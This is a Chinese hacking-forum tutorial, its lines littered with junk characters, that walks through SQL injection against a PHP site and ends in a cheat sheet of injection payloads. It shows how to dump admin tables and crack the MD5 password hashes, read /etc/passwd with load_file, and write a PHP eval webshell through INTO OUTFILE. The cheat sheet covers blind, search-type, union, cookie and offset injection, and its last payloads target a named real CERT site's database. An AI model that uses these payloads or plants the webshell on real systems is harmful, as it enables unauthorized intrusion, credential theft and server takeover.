我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
- ?* `/ j; j) r' F: ?让我看看,既然人家开口了,我也不好拒绝,那就看看吧?, R9 m9 T0 L/ A9 H; Z0 Y
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。8 P. o" C/ C' a- y, w8 {- X
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)5 g8 ~2 y+ `- K" y$ \: Z q
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)+ D1 |( E* i/ o5 q- v" l
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
8 ~( \- G: E) O7 U3 z; n: eWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in' }' D1 z* o) l; m9 e
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
! G5 C- S, {1 N2 z ( i# V" u6 a) I
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,1 R8 A& K8 ~7 _3 P
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意: G; o+ Y9 I4 r% i. c
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息0 W% X) e- h0 |& h
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
3 Y0 M2 L' v. r* G有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,4 `. a8 o- `& n& E- m6 z
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
# K i3 V; Z5 P8 P- ?2 X我就用的是第二个思路,, N* \ x5 u0 @# w3 K. F
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 3 B: [- Q* g' F2 B
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,- R$ e; c$ w9 r& O! n
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
# f, @3 ^, I$ O( H. L8 w注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
$ I# d1 o! b9 Q U0 T. {7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????; f2 V4 k v7 j; c
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....# k8 g7 K) ~. P8 q
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --* a& } a/ }& k/ ]
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
7 {: f) j0 ?1 @调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
( C# r" M( a/ ~下面是一些很普遍注入方式资料:
: a* ]1 ^8 x- D) f& J注意:对于普通的get注入,如果是字符型,前加' 后加 and ''=' C( Z1 ? s- u! l
拆半法
' I+ i3 V" a$ R! M######################################2 {7 y# w$ p& X1 }% r) [& d% V
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
, O6 f7 A' D( L1 Tand exists (select * from admin)% Z5 V+ y: X& @9 q- D& V
and exists(select id from admin)! g, A* U: X2 r B6 b# Z
and exists(select id from admin where id=1)
$ Y; j4 f8 ~# L( s, Z3 d4 s2 u% Dand exists(select id from admin where id>1)
. V* k5 E+ W9 ~然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 8 S* v* b" Z7 P9 A2 k, `
and exists (select username from admin)
u, d4 g/ n- x9 Uand exists (select password from admin)7 w3 B) V7 p) q$ S3 I
and exists (select id from admin where len(username)<10 and id=1)
* X, V* Y2 L$ I5 v4 v3 O$ U% uand exists (select id from admin where len(username)>5 and id=1)6 u0 u7 P' z1 @/ |! p+ N
and exists (select id from admin where len(username)=6 and id=1)
& \0 N8 r0 A/ i' Gand exists (select id from admin where len(password)<10 and id=1)+ P& o1 G+ w: c8 }- |1 Q
and exists (select id from admin where len(password)>5 and id=1)
) V7 Z6 Z6 s. o$ K7 {8 e, iand exists (select id from admin where len(password)=7 and id=1)
% Y" B; k+ I$ U$ b/ g& Band (select top 1 asc(mid(username,1,1)) from admin)=97
, j/ d8 m' Q; _- @5 n( n8 {返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。" h8 U1 ?1 D t- b6 Q8 Y
猜第二位把username,1,1改成username,2,1就可以了。
$ A0 }7 s" N9 G. J猜密码把username改成password就OK了) Y O+ ]1 U8 ?9 C& b& r
##################################################
* d# h# R7 H$ N6 U3 J搜索型注入+ u$ U% s6 ~' Z2 W9 A3 u
##################################% p* N, S9 f; I8 i
%' and 1=1 and '%'='" S' L# d# |% b6 Z: x" J& H4 A$ l
%' and exists (select * from admin) and '%'='( J( K, U# W5 _# d5 r$ U
%' and exists(select id from admin where id=1) and '%'='# m, q( e) w9 U' ]
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
" L0 }9 v5 y# [" q* c: z$ V* L2 f%' and exists (select id from admin where len(password)=7 and id=1) and '%'='" H1 Q0 n# R U9 ~
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
+ v1 |1 i7 r* f) T* k b这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='$ d* ?6 Z5 `; H& K6 c( X7 \' d2 R
对于MSSQL数据库,后面可以吧 and '%'='换成--
( Q' K% A. f6 M& ^. E还有一点搜索型注入也可以使用union语句。# n9 A: p: P1 Y) k0 U+ V
########################################################
* s+ C' I4 f% }联合查询。
) w- @; L$ W% m Q+ V, A#####################################0 k: s( W) x; V% j7 _
order by 100 ~; ~2 R0 n) s9 S8 R3 a$ s
and 1=2 union select 1,2,3,4,5,6,7,8,9,10. G1 @' E3 d! [9 N( x0 R
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
& L7 h; k- C+ d7 b, a( @8 b+ S# a- {and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1% {$ J/ k3 r( M+ E; O( }7 H
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)- M. }3 Q" _4 O/ p
###################################
/ n8 h0 s: [% u2 M0 k. |' acookie注入1 b* m& I# H& z! i$ T
###############################
( i8 ~. ?, r, J5 y Z7 Yhttp://www.******.com/shownews.asp?id=127 R( g8 v- Y( z. B
http://www.******.com/shownews.asp
% O& e2 V) {! w4 J, P. H7 _9 aalert(="id="+escape("127"));7 B: T4 ^# z/ `% x
alert(="id="+escape("127 and 1=1"));+ L4 g" J/ E% w
alert(="id="+escape("127 order by 10"));
( `3 J$ Z7 n# |% f5 W: t* E7 zalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));/ B; i% o; r3 C: @4 k8 S8 l/ i
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
" ~5 i0 q2 N: W% q5 ]这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。 ]+ v6 O3 b" U5 l# @0 E6 N
###################################% p0 }/ w/ q5 s' `1 N; W" o. Z
偏移注入! G+ M+ H0 v4 N( u( z
###########################################################& t. ~: R3 J$ F. i, M4 r. U, j
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
( c9 S0 M0 H& P; N. X* z( Ounion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin) @4 [/ w a. I ?; a0 x! s
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
2 R# y9 v* c: N" X& b4 junion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
4 T3 X* ~, B9 ?union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)" R/ s s, m6 `4 ^* x' P
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id): j: ^7 P1 ]0 N- X/ }
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
8 x5 x* S' C. L) ]) Q" ca.id=d.id)
' N1 ?8 b1 x% m4 W2 i6 v _2 |and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)* _2 \4 X4 Z9 `7 i( S
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
) x& f* `- S1 s' l4 @/ P
, \# v# ~: [, O. v/ A============================================================================================================( P0 O! V2 M, J$ S) b% y$ }5 m! D
1.判断版本, T2 _$ w( o s' o9 d5 V
and ord(mid(version(),1,1))>51$ D+ c3 I) d5 e% x
返回正常,说明大于4.0版本,支持ounion查询& ]- F. s$ O+ f Y
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解4 x( }) v. Y. e9 c0 C" `( Q
and 2=4 union select 1,2,3,4,5,6,7,8,9--
g! w8 u( e; l) @; W& I+ N& `3.查看数据库版本及当前用户,: }2 q& c( G9 t# x* b H1 O2 L
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
. G% y& |7 R% Y( N9 {' q数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,4 t7 I8 H' ?. Q- \) `7 w; d" k3 U
4.判断有没有写权限
: r/ V, N. V# N" L. K4 Y# aand (select count(*) from MySQL.user)>0-- 7 E+ s5 v9 ]3 c# e8 G l
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
9 h. c3 C+ r' o# q; W用不了这个命令,就学习土耳其黑客手法,如下
" G# l3 J: c4 T! t o; A, c2 tand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
, \7 w/ |. \5 q! ^& C0 l1 V7 b6.爆表,爆库2 O. D% ^4 I1 Z. g+ A' V+ [/ U/ T
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--# i' |2 ]+ _9 e: W& y9 N8 H
7.爆列名,爆表
3 N- _: @( M$ d/ Q6 Xand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--. Y5 t& ?) b/ i/ ?9 @
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
" P4 D" k R+ o; Mand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--5 C6 X" k6 r4 B z9 l
9.爆字段内容
9 x4 l8 ^, Z6 [0 p) K7 jand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--, }2 n' S7 `4 n& u; c: r" N, T0 w
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |